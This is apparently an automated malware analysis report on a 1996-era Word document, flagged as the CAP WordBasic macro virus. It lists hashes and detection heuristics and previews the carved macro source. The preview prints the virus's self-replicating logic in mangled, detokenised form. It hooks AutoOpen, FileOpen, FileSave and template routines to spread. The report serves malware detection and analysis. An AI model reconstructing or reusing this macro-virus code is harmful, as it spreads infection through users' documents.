Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a514ee9af354e33…

MALICIOUS

Office (OLE)

9.0 KB First seen: 2014-02-03
MD5: 1155361b815a70242136f03f8dd264de SHA-1: 7a3b2fdbaf5ec22124c063658e3af75f993efac3 SHA-256: 6a514ee9af354e338900d8e43911fc34d19e86a453e3e1feb85d3cb2040f5d12
102 Risk Score

Heuristics 3

  • ClamAV: Win.Trojan.Cap-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Cap-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 2328 bytes
SHA-256: de2d1a4f846a4f5adcc9933cc3d0f8541ccc32f0c2141e7f605a5979a796c8df
Preview script
First 1,000 lines of the extracted script
, , = = = = = = = , = , 20325 21349 29551 17253 29551 21349 19827 21605 29793   25961
25964 25961 = =  
MAIN
REM C.A.P: Un virus social.. y ahora digital..
REM "j4cKy Qw3rTy" (jqw3rty@hotmail.com).
REM Venezuela, Maracay, Dic 1996.
REM P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
M$ 9
S F$
, -
S$ = "F%"
D$ = "Macro"
C$ = "Close"
B$ = "Open"
A$ = "File"
M$ 0 = "CAP"
M$ 3 = A$ = C$
M$ 5 = A$ = "Save"
M$ 2 = A$ = B$
M$ 9 = A$ = "Templates"
A$ = "Auto"
M$ 6 = M$ 5 = "As"
M$ 1 = A$ = B$
M$ 8 = A$ = "Exec"
M$ 4 = A$ = C$
M$ 7 = "Tools" = D$
M = 0
N = 0
T = 1 0 1
I = @cmd80b7 T 1 1
B$ = @cmd80b8 I , T
S$ = @cmd8008 @cmd80be B$ , 2
J = 0 9
B$ = M$ J
T N = N = 1   M = M = 1
J = 9
@cmd00d7 = B$ , = T = T = 1 ,
F$
M 10 N
@cmd00d1 = 0 , = 1 , = 1 , = "10"
I = 0 9
I 7 K = 1   K = 0
@cmd80c2 F$ = ":" = M$ I , M$ I , K
B$ = S$ = @cmd80ea @cmd8007 @cmd8006 @cmd800a @cmd80be M$ 7 , 3 = 1
@cmd00d7 = M$ 7 , = 1 , = B$ ,
A$ = @cmd8140 0 , 1
I = @cmd80b7 1 1 1
J = 0
B$ = @cmd80b8 I , 1
@cmd80be B$
S$ = "O"
J = 2
S$ = "C"
J = 3
S$ = "S"
J = 5
S$ = "SA"
J = 6
J
C$ = @cmd813e A$ , 0 , J
@cmd8008 @cmd80af C$ , @cmd8003 M$ J @cmd80af M$ J @cmd8008 C$ , 1 "(" @cmd80c2 F$ = ":" = B$ , C$ , K
T = 1
I = 0 1
I J = 1   J = 6
A$ = @cmd8140 I , J
J = @cmd8141 A$ , I 1
M = J 1 1
@cmd800f @cmd813e A$ , I , M , D$
I
B$ = @cmd813e A$ , I , M 2
@cmd80af B$ @cmd80af M$ 9 @cmd8008 B$ , 1 "(" @cmd80c2 M$ 9 , B$ , K
M = M = 1
T = M M 1 1
T 3 @cmd01b1 = I , + = T , = @cmd813e A$ , I , T , = = A$ , , = 0
M = 58881
T = 0
T
I = 6 J
@cmd8008 @cmd813e A$ , 1 , I , 1 = "(" @cmd8008 @cmd813e A$ , 1 , I 2 , 1 = "("
T = 1 3 2
B$ = @cmd813e A$ , 1 , I T
@cmd8008 B$ , 1 "(" @cmd80c2 M$ T = 6 , B$ , K
I = J
D @cmd0054
D
N 10 D = 1 D = 0 D = 6
D = 1
I = @cmd80b7 0 1 1
B$ = @cmd80b8 I , 0
B$ M$ 7 K = 1   K = 0
@cmd80c2 B$ , F$ = ":" = B$ , K
@cmd0054 D
Err = 0
FO
, -
@cmd80d6
, - * E
D @cmd0050
D
D
@cmd0050 D
S D
FC
, -
@cmd80d6
S @cmd8025
@cmd80a0
FS
, -
@cmd80d6
, - * F
@cmd0053
S @cmd8025
FSA
, -
@cmd80d6
, - * G
D @cmd0054
D
D 1
D
@cmd0054 D
S D
T = @cmd803e
W$ = D
@cmd004f = @cmd8025
, - * H
D
D = W$
D
@cmd0054 D
, - * G
S D
T @cmd803e T = T = 1
@cmd80de T
@cmd80a0 2
MAIN
, -
@cmd80d6 0
CAP
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP @cmd8025
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP